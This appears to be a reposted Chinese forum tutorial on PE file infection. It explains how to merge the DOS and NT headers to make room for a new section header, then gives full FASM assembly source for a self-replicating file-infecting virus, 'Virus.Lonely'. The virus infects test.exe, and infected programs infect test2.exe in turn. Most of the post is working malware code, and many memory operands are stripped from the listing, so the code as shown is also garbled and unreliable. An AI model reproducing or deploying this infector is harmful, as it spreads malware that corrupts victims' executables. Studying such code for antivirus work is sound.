[Anti Virus专题] 1.4 - 1.变形PE头添加节形式感染 (ZT)
<div id="blog_text" class="cnt">1.4 - 1.变形PE头添加节形式感染。<br><br>
<br>
很抱歉最近出了趟远门,昨天星期2才回来,今天下午给大家更新下文章。<br>
<br>
<br>
前言:<br>
<br>
今天我们讲的主题是“变形PE头添加节形式感染”。因为大部分的添加节过程,在对节表结构尾部空隙不够写入一个新的节表结构时,都处理的不是很恰当。今天我来给大家带来一种思路,通过变形PE头来让我们有足够的空隙写入一个新的节表结构。<br>
<br>
<br>
1. 变形PE头原理:<br>
<br>
这里的变形PE头的思路是用的比较方便的方法,就是将结构融合起来。聪明的你是否已经想到了? 就是将IMAGE_DOS_HEADER 和
IMAGE_NT_HEADER
结构融合到一起。因为我们都知IMAGE_DOS_HEADER和IMAGE_NT_HEADER的结构成员很多我们是用不到的,所以我们可以按照相应的
结构排列,把这些无用的结构成员,融合到一起后,替换成一些有用的成员。是不是很绕?没关系,我们继续往下看。<br>
<br>
<br>
一般我们都知道IMAGE_DOS_HEADER结构只有两个成员针对PE LOADER是有用的。(1).e_magic
(2).e_lfanew。其他的成员PE
LOADER一般是用不到的。但是我们必须要知道的是e_lfanew成员我们必须保证它是基于IMAGE_DOS_HEADER的3ch偏移处。了解了
以上,我们知道我们一个新的节表结构的大小是40字节,那么一个IMAGE_DOS_HEADER结构是64字节,那么我们
IMAGE_DOS_HEADE 和 IMAGE_NT_HEADER融合。
空余出来的字节大小肯定是够我们写入一个新的节表结构的,而且我们这里计算还没有加上如果对方的程序存在 DOS STUB 以及
节表结构尾部还存在一些空隙,呵呵这对我们写<br>
<br>
入一个新的节表结构是足足有余的。<br>
<br>
我们如何融合IMAGE_DOS_HEADER和IMAGE_NT_HEADER呢?<br>
<br>
首先我们需要找一个IMAGE_NT_HEADER结构中的一个不常用的成员,把它排列
使其这个无用的成员基于IMAGE_DOS_HEADER结构偏移为3ch,恩没错就是把这个成员替换成.e_lfanew。
我们尽量找IMAGE_OPTIONAL_HEADER中的成员,这样我们扩展剩余的字节空间就会更多。<br>
<br>
我们这里用IMAGE_OPTIONAL_HEADER结构中的BaseOfData成员,因为这个成员一般对于我们来说没什么用处。这个成员在
IMAGE_NT_HEADER的偏移是30h。那么我们只要将他排列使其这个成员基于IMAGE_DOS_HEADER的结构是3ch。那么我们是不是
在IMAGE_NT_HEADER前补12个字节,这样我们把这12个字节所处的偏移看作为IMAGE_DOS_HADER结构的偏移,这样我们的
BaseOfData成员对于IMAGE_DOS_HADER结构的偏移则为3c,然后我们刚刚说了,我们的IMAGE_DOS_HEADER重要的是
(1).e_magic (2).e_lfanew。所以我们将前12个字节中的前两个字节写入'MZ', 然后将BaseOfData中的偏移<br>
写入0ch。这样我们就成功的将IMAGE_DOS_HEADER和IMAGE_NT_HEADER融合到一起了。<br>
<br>
给大家一个更直观的感受,我们看下变形后PE头结构部分成员排布的情况。如下图<br>
<br>
<br>
<a href="http://bbs.pediy.com/attachment.php?attachmentid=26221&d=1242828824" target="_blank"><font color="#000000">Image.jpg下载此附件需要消耗2Kx,下载中会自动扣除。</font></a><br>
<br>
<br>
2. 变形PE头添加节实现过程<br>
<br>
当然我们的添加节过程是要在宿主程序的节表结构尾部空隙不够写入一个新的节表结构时变形PE头然后写入节表结构,所以我们要判断下。这里给出一个我实现后的过程。<br>
<br>
<div style="margin: 5px 20px 20px;">
<div class="smallfont" style="margin-bottom: 2px;">代码:</div>
<pre dir="ltr" style="border: 1px inset; padding: 6px; margin: 0px; overflow: auto; width: 850px; background-color: rgb(222, 223, 223); text-align: left;">;++<br> ;<br> ; int<br> ; AddSectionTable(<br> ; pByte pMemory<br> ; DWORD dwLen<br> ; )<br> ;<br> ; Routine Description:<br> ;<br> ; 变形PE头添加节函数<br> ;<br> ; Arguments:<br> ;<br> ; (esp) - return address<br> ;<br> ; - pMemory<br> ;<br> ; - dwLen<br> ;<br> ; Return Value:<br> ;<br> ; eax = New Section PhysicalOffset, 0<br> ; edx = New Section VirtualOffset<br> ; <br> ;--<br> <br> AddSectionTable:<br> pushad<br> mov ebx, <br> mov esi, ebx<br> add esi, <br> <br> ;++ <br> ; edi = Section Table<br> movzx ecx, word <br> lea edi, dword <br> ;--<br> <br> ;++<br> ; Clear Bound Import Entry<br> lea edx, <br> cmp dword , 10h<br> jl .GoSectionTable<br> mov dword , 0 <br> ;--<br> <br> .GoSectionTable:<br> ;++ <br> ; edx = First Section Offset <br> ; edi = Last Section Table Offset<br> mov edx, <br> add edx, ebx<br> movzx ecx, word <br> imul ecx, ecx, sizeof.IMAGE_SECTION_HEADER<br> add edi, ecx<br> ;-- <br> <br> ;++ <br> ; Expand PE Header Struct<br> ; BaseOfData equ .lfanew<br> push edx<br> mov eax, edi<br> sub edx, eax<br> cmp edx, sizeof.IMAGE_SECTION_HEADER<br> pop edx<br> jge .AddSectionTable<br> <br> ; Test Expand Is Exist<br> cmp word , 'PE'<br> jnz .Expand<br> xor eax, eax<br> mov , eax<br> jmp .Result<br> <br> .Expand:<br> sub eax, esi<br> xchg eax, ecx<br> pushad<br> lea edi, <br> mov dword , edi <br> cld<br> rep movsb<br> mov dword , edi<br> <br> sub edx, edi<br> xchg ecx, edx<br> xor eax, eax<br> rep stosb<br> popad<br> <br> mov dword , 0ch<br> ;--<br> <br> .AddSectionTable:<br> ; Inc Num<br> inc word <br> <br> ; Sectio Name<br> mov dword , '.xfi'<br> mov word , 'sh'<br> <br> ; Physical size<br> push dword <br> pop dword <br> <br> ; Physical offset<br> lea edx, <br> mov eax, <br> mov ecx, <br> add eax, ecx<br> mov dword , eax<br> mov dword , eax<br> <br> ; Virtual size<br> push dword <br> pop dword <br> <br> ; Virtual offset <br> push dword <br> pop eax<br> mov dword , eax<br> mov , eax<br> <br> ; Flags<br> mov dword , 0E0000020h<br> <br> ; SizeOfImage<br> mov ecx, <br> add ecx, <br> mov dword , ecx<br> <br> .Result:<br> popad<br> retn 4*2</pre>
</div>
<br>
那么我们今天这篇文章的主题是变形PE头添加节形式感染,那么我们当然少不了感染过程了。添加节感染,我想我就不用太多重复了,因为普通的添加节文章太多
太多了。所以这里我直接给出一段利用变形PE头添加节感染的代码Demo,这段Demo代码程序运行后会感染当前目录下的'test.exe',感染后的
程序会在运行的时候会继续感染当前目录的'test2.exe'并有一个消息框提示给用户, 由于是一个Demo,所以没有做全盘感染以及感染标记。<br>
<br>
大家可以随便copy一个文件到此病毒程序的当前目录下为test.exe来做测试。<br>
<br>
<div style="margin: 5px 20px 20px;">
<div class="smallfont" style="margin-bottom: 2px;">代码:</div>
<pre dir="ltr" style="border: 1px inset; padding: 6px; margin: 0px; overflow: auto; width: 850px; background-color: rgb(222, 223, 223); text-align: left;">;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++<br>;<br>; Virus.Lonely By: xfish<br>; <br>; (c)2009-05-20 <br>; --- Lonely xfish. Email: AntiAntiWorm@Gmail.com<br>; --- thanks 29a, pediy, hacker.com.cn <br>;-----------------------------------------------------------------------------<br><br> format PE GUI 4.0<br> include 'win32ax.inc'<br> entry Virus_Entry<br> <br> <br>section '.Lonely' code readable writeable executable<br><br> Virus_Entry:<br> pushad<br> call Dels<br> int 3<br> int 3<br> int 3<br> Dels:<br> pop ebp<br> sub ebp, Dels-2*3<br> <br> ; kernel32<br> call GetKrnlBase<br> <br> lea edi, <br> push edi<br> push eax<br> call GetFuncAddress<br> <br> @pushsz 'user32'<br> call <br> <br> push edi<br> push eax<br> call GetFuncAddress<br> <br> test ebp, ebp<br> jz .Inject<br> <br> push 0<br> @pushsz 'Virus Demo'<br> @pushsz 'by:xfish http://www.pediy.com http://www.hacker.com.cn'<br> push 0<br> call <br> <br> push dword <br> pop dword <br> <br> @pushsz 'test2.exe'<br> call Inject<br> popad<br> <br> push eax<br> retn<br> <br> .Inject:<br> @pushsz 'test.exe'<br> call Inject<br> popad<br> retn<br><br> ;++<br> ;<br> ; int<br> ; GetKrnlBase(<br> ; void<br> ; )<br> ;<br> ; Routine Description:<br> ;<br> ; 获得kernel32基地址<br> ;<br> ; Arguments:<br> ;<br> ; (esp) - return address<br> ;<br> ;<br> ; Return Value:<br> ;<br> ; eax = krnlbase<br> ;<br> ;--<br> GetKrnlBase:<br> sub eax, eax<br> mov eax, <br> test eax, eax<br> js .Os9x<br> mov eax, <br> mov eax, <br> mov eax, <br> mov eax, <br> jmp .Result<br> .Os9x:<br> mov eax, <br> lea eax, <br> mov eax, <br> .Result:<br> retn<br> <br> ;++<br> ;<br> ; int<br> ; GetFuncAddress<br> ; int hModule,<br> ; int pHashStringList<br> ; )<br> ;<br> ; Routine Description:<br> ;<br> ; 获取Hash API地址<br> ;<br> ; Arguments:<br> ;<br> ; (esp) - return address<br> ; (esp+4*8+4) - hModule<br> ; (esp+4*8+8) - pHashStringList<br> ;<br> ; Return Value:<br> ;<br> ; nothing<br> ;<br> ;--<br> GetFuncAddress:<br> pushad<br> mov ebx, <br> mov edx, <br> mov esi, <br> lea esi, <br> lodsd<br> xchg eax, ecx<br> lodsd<br> add eax, ebx<br> xchg eax, ebp <br> lodsd<br> add eax, ebx <br> xchg eax, edx <br> lodsd<br> add eax, ebx<br> push eax <br> <br> mov esi, edx<br> .Next_Func:<br> lodsd<br> add eax, ebx<br> <br> ; Make Func Hash<br> xor edx, edx<br> .Make_Hash:<br> rol edx, 3<br> xor dl, byte <br> inc eax<br> cmp byte , 0<br> jnz .Make_Hash<br> <br> mov eax, <br> add dword , 2<br><br> mov edi, <br> .Scan_Dw_Funcs:<br> cmp dword , edx<br> jnz .Next_List<br> <br> movzx eax, word <br> mov eax, <br> add eax, ebx<br> scasd<br> stosd<br> jmp .Ret<br> <br> .Next_List:<br> scasd<br> scasd<br> cmp dword , 0<br> jne .Scan_Dw_Funcs<br> .Ret:<br> loop .Next_Func<br> pop ecx<br> popad<br> retn 4*2<br> <br> ;++<br> ;<br> ; CF<br> ; IsPe(<br> ; pByte pMemory<br> ; )<br> ;<br> ; Routine Description:<br> ;<br> ; 测试是否是PE文件<br> ;<br> ; Arguments:<br> ;<br> ; (esp) - return address<br> ;<br> ; - pMemory<br> ;<br> ; Return Value:<br> ;<br> ; eax -- NewSection Physical offset<br> ; eax -- 0<br> ;--<br> <br> IsPe:<br> mov edx, <br> cmp word , 'MZ'<br> jnz .RetFalse<br> add edx, <br> cmp word , 'PE'<br> jnz .RetFalse<br> <br> .RetTrue: <br> stc<br> retn 4*1<br> <br> .RetFalse:<br> clc<br> retn 4*1<br> <br> ;++<br> ;<br> ; CF<br> ; IsFileType(<br> ; LPCTSTR lpFileName<br> ; )<br> ;<br> ; Routine Description:<br> ;<br> ; 测试文件类型是否是32位二进制文件<br> ;<br> ; Arguments:<br> ;<br> ; (esp) - return address<br> ;<br> ; - lpFileName<br> ;<br> ; Return Value:<br> ;<br> ; CF -- 1, = TRUE.<br> ;<br> ;--<br> <br> IsFileType:<br> push 0<br> push esp<br> push dword <br> call dword <br> pop eax<br> ; 32BIT_BINARY = 0<br> test eax, eax<br> jne .RetFalse<br> <br> .RetTrue:<br> stc<br> retn 4*1<br> <br> .RetFalse:<br> clc<br> retn 4*1<br> <br> ;++<br> ;<br> ; void<br> ; Inject(<br> ; LPCTSTR lpFileName<br> ; )<br> ;<br> ; Routine Description:<br> ;<br> ; 感染文件<br> ;<br> ; Arguments:<br> ;<br> ; (esp) - return address<br> ;<br> ; - lpFileName<br> ;<br> ; Return Value:<br> ;<br> ; nothing<br> ;<br> ;--<br> <br> Inject:<br> pushad<br> mov esi, <br> <br> ;++<br> ; Is File Pe Format<br> push esi<br> call IsFileType<br> jnc .Result<br> ;--<br> <br> sub eax, eax<br> push eax<br> push eax<br> push OPEN_EXISTING<br> push eax<br> push FILE_SHARE_WRITE<br> push GENERIC_READ or GENERIC_WRITE<br> push esi<br> call <br> cmp eax, -1<br> jz .Result<br> <br> xchg eax, ebx<br> <br> push 0<br> push ebx<br> call <br> <br> push eax<br> ;<br> push PAGE_READWRITE<br> push MEM_COMMIT<br> push eax<br> push 0<br> call <br> ;<br> pop edx<br> test eax, eax<br> jz .CloseHandle<br> <br> xchg eax, edi<br> mov dword , edx<br> <br> push 0<br> push esp<br> push dword <br> push edi<br> push ebx<br> call <br> test eax, eax<br> jz .FreeMem<br> <br> push edi<br> call IsPe<br> jnc .FreeMem<br> <br> push Virus_Len<br> push edi<br> call AddSectionTable<br> test eax, eax<br> jz .FreeMem<br> <br> ;++ Update Oep, Write JmpHost <br> mov eax, edi<br> add eax, <br> mov ecx, edx<br> xchg ecx, <br> add ecx, <br> mov dword , ecx<br> ;--<br> <br> push FILE_BEGIN<br> push 0<br> push 0<br> push ebx<br> call <br> <br> push 0<br> push esp<br> lea eax, <br> push dword <br> push edi<br> push ebx<br> call <br> test eax, eax<br> jz .FreeMem<br> <br> push FILE_END<br> push 0<br> push Virus_Len<br> push ebx<br> call <br> <br> push ebx<br> call <br> <br> <br> push FILE_CURRENT<br> push 0<br> push -(Virus_Len)<br> push ebx<br> call <br> <br> push 0<br> push esp<br> push Virus_Len<br> lea eax, <br> push eax<br> push ebx<br> call <br> test eax, eax<br> jz .FreeMem<br> <br> .FreeMem:<br> push MEM_DECOMMIT<br> .FreeSize = $ + 1<br> push $<br> push edi<br> call <br> <br> .CloseHandle:<br> push ebx<br> call <br> <br> .Result:<br> popad<br> retn 4*1<br> <br> <br> ;++<br> ;<br> ; int<br> ; AddSectionTable(<br> ; pByte pMemory<br> ; DWORD dwLen<br> ; )<br> ;<br> ; Routine Description:<br> ;<br> ; 添加节函数<br> ;<br> ; Arguments:<br> ;<br> ; (esp) - return address<br> ;<br> ; - pMemory<br> ;<br> ; - dwLen<br> ;<br> ; Return Value:<br> ;<br> ; eax = New Section PhysicalOffset, 0<br> ; edx = New Section VirtualOffset<br> ; <br> ;--<br> <br> AddSectionTable:<br> pushad<br> mov ebx, <br> mov esi, ebx<br> add esi, <br> <br> ;++ <br> ; edi = Section Table<br> movzx ecx, word <br> lea edi, dword <br> ;--<br> <br> ;++<br> ; Clear Bound Import Entry<br> lea edx, <br> cmp dword , 10h<br> jl .GoSectionTable<br> mov dword , 0 <br> ;--<br> <br> .GoSectionTable:<br> ;++ <br> ; edx = First Section Offset <br> ; edi = Last Section Table Offset<br> mov edx, <br> add edx, ebx<br> movzx ecx, word <br> imul ecx, ecx, sizeof.IMAGE_SECTION_HEADER<br> add edi, ecx<br> ;-- <br> <br> ;++ <br> ; Expand PE Header Struct<br> ; BaseOfData equ .lfanew<br> push edx<br> mov eax, edi<br> sub edx, eax<br> cmp edx, sizeof.IMAGE_SECTION_HEADER<br> pop edx<br> jge .AddSectionTable<br> <br> ; Test Expand Is Exist<br> cmp word , 'PE'<br> jnz .Expand<br> xor eax, eax<br> mov , eax<br> jmp .Result<br> <br> .Expand:<br> sub eax, esi<br> xchg eax, ecx<br> pushad<br> lea edi, <br> mov dword , edi <br> cld<br> rep movsb<br> mov dword , edi<br> <br> sub edx, edi<br> xchg ecx, edx<br> xor eax, eax<br> rep stosb<br> popad<br> <br> mov dword , 0ch<br> ;--<br> <br> .AddSectionTable:<br> ; Inc Num<br> inc word <br> <br> ; Sectio Name<br> mov dword , '.xfi'<br> mov word , 'sh'<br> <br> ; Physical size<br> push dword <br> pop dword <br> <br> ; Physical offset<br> lea edx, <br> mov eax, <br> mov ecx, <br> add eax, ecx<br> mov dword , eax<br> mov dword , eax<br> <br> ; Virtual size<br> push dword <br> pop dword <br> <br> ; Virtual offset <br> push dword <br> pop eax<br> mov dword , eax<br> mov , eax<br> <br> ; Flags<br> mov dword , 0E0000020h<br> <br> ; SizeOfImage<br> mov ecx, <br> add ecx, <br> mov dword , ecx<br> <br> .Result:<br> popad<br> retn 4*2<br> <br><br> ;++<br> JmpHost:<br> push $<br> retn<br> ;--<br> <br> ;++++++++++++++++++++++++++++++++++++++++++++++++++<br> dwFunc:<br> dd 0C0D6D616h<br> _CloseHandle dd 0<br> <br> dd 038C62A7Ah<br> _CreateFile dd 0<br> <br> dd 0ABD10842h<br> _GetBinaryType dd 0<br> <br> dd 09554EFE7h<br> _GetFileSize dd 0<br> <br> dd 00BE25545h<br> _ReadFile dd 0<br> <br> dd 0A97175F9h<br> _SetEndOfFile dd 0<br> <br> dd 0A9D1FD70h<br> _SetFilePointer dd 0<br> <br> dd 0AB16D0AEh<br> _VirtualAlloc dd 0<br> <br> dd 0B562D3DBh<br> _VirtualFree dd 0<br> <br> dd 058D8C545h<br> _WriteFile dd 0<br> <br> dd 0A412FD89h<br> _LoadLibray dd 0<br> <br> dd 014D14C51h<br> _MessageBox dd 0<br> ;-------------------------------------------------<br><br> Virus_Len = $ - Virus_Entry</pre>
</div>
<p>
</p></div>
<br>
页:
[1]